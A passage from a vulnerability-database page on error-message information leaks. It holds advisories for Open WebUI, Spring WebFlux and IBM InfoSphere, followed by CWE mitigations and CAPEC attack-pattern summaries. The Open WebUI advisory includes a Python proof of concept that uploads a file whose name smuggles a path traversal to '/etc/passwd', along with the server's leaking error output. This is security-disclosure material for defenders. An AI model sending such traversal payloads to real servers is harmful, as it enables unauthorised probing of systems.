f\u0027filename=\"audio./etc/passwd\"\\r\\nContent-Type: audio/wav\\r\\n\\r\\n\u0027\n).encode() + wav_stub + f\"\\r\\n--{boundary}--\\r\\n\".encode()\n\nresp = requests.post(\n    f\"{BASE_URL}/api/v1/audio/transcriptions\",\n    data=body,\n    headers={\"Authorization\": f\"Bearer {token}\",\n             \"Content-Type\": f\"multipart/form-data; boundary={boundary}\"},\n    timeout=15,\n)\nprint(resp.status_code, resp.text)\n```\n\n**Observed output (live test, commit `b8112d72b`):**\n\n```\n400 {\"detail\":\"[ERROR: [Errno 2] No such file or directory:\n\u0027/app/backend/data/cache/audio/transcriptions/59457ccf-\u2026./etc/passwd\u0027]\"}\n```\n\nThe absolute `DATA_DIR` path is confirmed. Filesystem structure can be enumerated by varying traversal depth and observing which error messages change.\n\n**Note on the write primitive:** the traversal path includes a fresh UUID segment (`{uuid}.`) that never pre-exists as a directory, so `open()` is OS-blocked in all practical scenarios. The impact is information disclosure only.\n\n---\n\n### Impact\nAny authenticated, non-admin user on a default Open WebUI deployment can leak the server\u0027s absolute `DATA_DIR` filesystem path. The route is gated by `get_verified_user` \u2014 the lowest privilege tier \u2014 so every registered account is a potential attacker. Multi-tenant and shared deployments are most exposed.\n\n\u003e **AI Disclosure:** Claude was used to draft this report and the PoC. The vulnerability was identified via manual static analysis of commit `b8112d72b`. All code references were verified by the reporter, who accepts full responsibility for accuracy.",
  "id": "GHSA-vvxm-vxmr-624h",
  "modified": "2026-03-27T15:29:32Z",
  "published": "2026-03-27T15:29:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-vvxm-vxmr-624h"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28786"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/commit/387225eb8b3906909436004f84fff1b012e067d4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI vulnerable to Path Traversal in `POST /api/v1/audio/transcriptions`"
}

GHSA-VW3R-PJ6G-MJG8

Vulnerability from github – Published: 2026-08-27 06:31 – Updated: 2026-08-28 21:31
VLAI
Details

A Spring WebFlux application that supports WebSocket connections may expose indirectly sensitive user information by including request headers in an exception reason. Spring Framework 7.0.0 - 7.0.8 Spring Framework 6.2.0 - 6.2.19 Spring Framework 6.1.0 - 6.1.28 Spring Framework 6.0.0 - 6.0.30 Spring Framework 5.3.0 - 5.3.49 Spring Framework 5.2.25.RELEASE and earlier

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-47893"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-209"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-27T06:17:20Z",
    "severity": "HIGH"
  },
  "details": "A Spring WebFlux application that supports WebSocket connections may expose indirectly sensitive user information by including request headers in an exception reason.\nSpring Framework 7.0.0 - 7.0.8\nSpring Framework 6.2.0 - 6.2.19\nSpring Framework 6.1.0 - 6.1.28\nSpring Framework 6.0.0 - 6.0.30\nSpring Framework 5.3.0 - 5.3.49\nSpring Framework 5.2.25.RELEASE and earlier",
  "id": "GHSA-vw3r-pj6g-mjg8",
  "modified": "2026-08-28T21:31:06Z",
  "published": "2026-08-27T06:31:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47893"
    },
    {
      "type": "WEB",
      "url": "https://spring.io/security/cve-2026-47893"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VX44-H683-36M9

Vulnerability from github – Published: 2024-08-06 18:30 – Updated: 2024-08-06 18:30
VLAI
Details

IBM InfoSphere Information Server 11.7 could allow a remote attacker to obtain sensitive information when a detailed technical error message is returned in the browser. This information could be used in further attacks against the system. IBM X-Force ID: 297429

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-39751"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-209"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-08-06T16:15:48Z",
    "severity": "MODERATE"
  },
  "details": "IBM InfoSphere Information Server 11.7 could allow a remote attacker to obtain sensitive information when a detailed technical error message is returned in the browser.  This information could be used in further attacks against the system.  IBM X-Force ID:  297429",
  "id": "GHSA-vx44-h683-36m9",
  "modified": "2024-08-06T18:30:56Z",
  "published": "2024-08-06T18:30:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-39751"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/297429"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7160580"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation MIT-39
Implementation
  • Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
  • If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
  • Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
Mitigation
Implementation

Handle exceptions internally and do not display errors containing potentially sensitive information to a user.

Mitigation MIT-33
Implementation

Strategy: Attack Surface Reduction

Use naming conventions and strong types to make it easier to spot when sensitive data is being used. When creating structures, objects, or other complex entities, separate the sensitive and non-sensitive data as much as possible.

Mitigation MIT-40
Implementation Build and Compilation

Strategy: Compilation or Build Hardening

Debugging information should not make its way into a production release.

Mitigation MIT-40
Implementation Build and Compilation

Strategy: Environment Hardening

Debugging information should not make its way into a production release.

Mitigation
System Configuration

Where available, configure the environment to use less verbose error messages. For example, in PHP, disable the display_errors setting during configuration, or at runtime using the error_reporting() function.

Mitigation
System Configuration

Create default error pages or messages that do not leak any information.

CAPEC-215: Fuzzing for application mapping

An attacker sends random, malformed, or otherwise unexpected messages to a target application and observes the application's log or error messages returned. The attacker does not initially know how a target will respond to individual messages but by attempting a large number of message variants they may find a variant that trigger's desired behavior. In this attack, the purpose of the fuzzing is to observe the application's log and error messages, although fuzzing a target can also sometimes cause the target to enter an unstable state, causing a crash.

CAPEC-463: Padding Oracle Crypto Attack

An adversary is able to efficiently decrypt data without knowing the decryption key if a target system leaks data on whether or not a padding error happened while decrypting the ciphertext. A target system that leaks this type of information becomes the padding oracle and an adversary is able to make use of that oracle to efficiently decrypt data without knowing the decryption key by issuing on average 128*b calls to the padding oracle (where b is the number of bytes in the ciphertext block). In addition to performing decryption, an adversary is also able to produce valid ciphertexts (i.e., perform encryption) by using the padding oracle, all without knowing the encryption key.

CAPEC-54: Query System for Information

An adversary, aware of an application's location (and possibly authorized to use the application), probes an application's structure and evaluates its robustness by submitting requests and examining responses. Often, this is accomplished by sending variants of expected queries in the hope that these modified queries might return information beyond what the expected set of queries would provide.

CAPEC-7: Blind SQL Injection

Blind SQL Injection results from an insufficient mitigation for SQL Injection. Although suppressing database error messages are considered best practice, the suppression alone is not sufficient to prevent SQL Injection. Blind SQL Injection is a form of SQL Injection that overcomes the lack of error messages. Without the error messages that facilitate SQL Injection, the adversary constructs input strings that probe the target through simple Boolean SQL expressions. The adversary can determine if the syntax and structure of the injection was successful based on whether the query was executed or not. Applied iteratively, the adversary determines how and where the target is vulnerable to SQL Injection.